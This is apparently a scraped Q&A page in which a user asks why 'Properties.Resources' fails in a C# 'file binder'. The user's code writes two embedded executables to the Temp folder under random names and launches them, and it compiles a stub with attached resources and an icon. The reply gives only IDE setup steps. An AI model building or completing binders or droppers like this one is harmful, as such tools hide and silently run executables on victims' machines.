Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

C# Can't access Properties.Resources

Tags:

c#

so, I am making a file binder. saves1 and saves2 are the embedded resources and
I want to extract it in the temp folder.

Here's my code:

using System.IO;
using System.Diagnostics;

namespace _123
{
class Program
{
    static void Main(string[] args)
    {
        string patdth = @"C:\Users\Alfred\AppData\Local\Temp";
        byte[] lel1 = Properties.Resources.saves2;
        byte[] lel = Properties.Resources.saves1;
        File.WriteAllBytes(patdth + "\\hdhtehyr.exe", lel);
        File.WriteAllBytes(patdth + "\\hdhdhdhgd.exe", lel1);
        Process.Start(patdth + "\\hdhtehyr.exe");
        Process.Start(patdth + "\\hdhdhdhgd.exe");


    }
  }
}

I get this error:

"Error CS0103 The name 'Properties' does not exist in the current context ConsoleApplication3".

edit:

I am inserting the resources dynamically here, as you can see my code "/resources" + Path" is my way of adding the resources.

        public void compile2(string file)
    {
        CodeDomProvider provider = CodeDomProvider.CreateProvider("CSharp");
        CompilerParameters compars = new CompilerParameters();
        compars.ReferencedAssemblies.Add("System.dll");
        compars.ReferencedAssemblies.Add("System.Reflection.dll");
        compars.ReferencedAssemblies.Add("System.IO.dll");
        compars.GenerateExecutable = true;
        compars.GenerateInMemory = false;
        compars.TreatWarningsAsErrors = false;
        compars.OutputAssembly = "Binded.exe";
        compars.CompilerOptions = "/resources:" + textBox10.Text;
        compars.CompilerOptions = "/resources:" + textBox11.Text;
        compars.CompilerOptions = "/t:winexe";
        if (string.IsNullOrWhiteSpace(textBox12.Text))
        {

        }
        else
        {
            compars.CompilerOptions = "/win32icon:" + textBox12.Text;
        }
        CompilerResults res = provider.CompileAssemblyFromSource(compars, file);
        {
            MessageBox.Show("Code compiled!", "Success");
        }
    }
like image 484
CursedSheep Avatar asked Nov 07 '17 10:11

CursedSheep


1 Answers

Under 'ConsoleApplication3' Project, double click 'Properties' -> Select 'Resources' tab -> Click on "This project does not contain a default resources file. Click here to create one." message. Add the files ('saves1' and 'saves2') here.

like image 160
Jayaraj P Avatar answered Sep 30 '22 05:09

Jayaraj P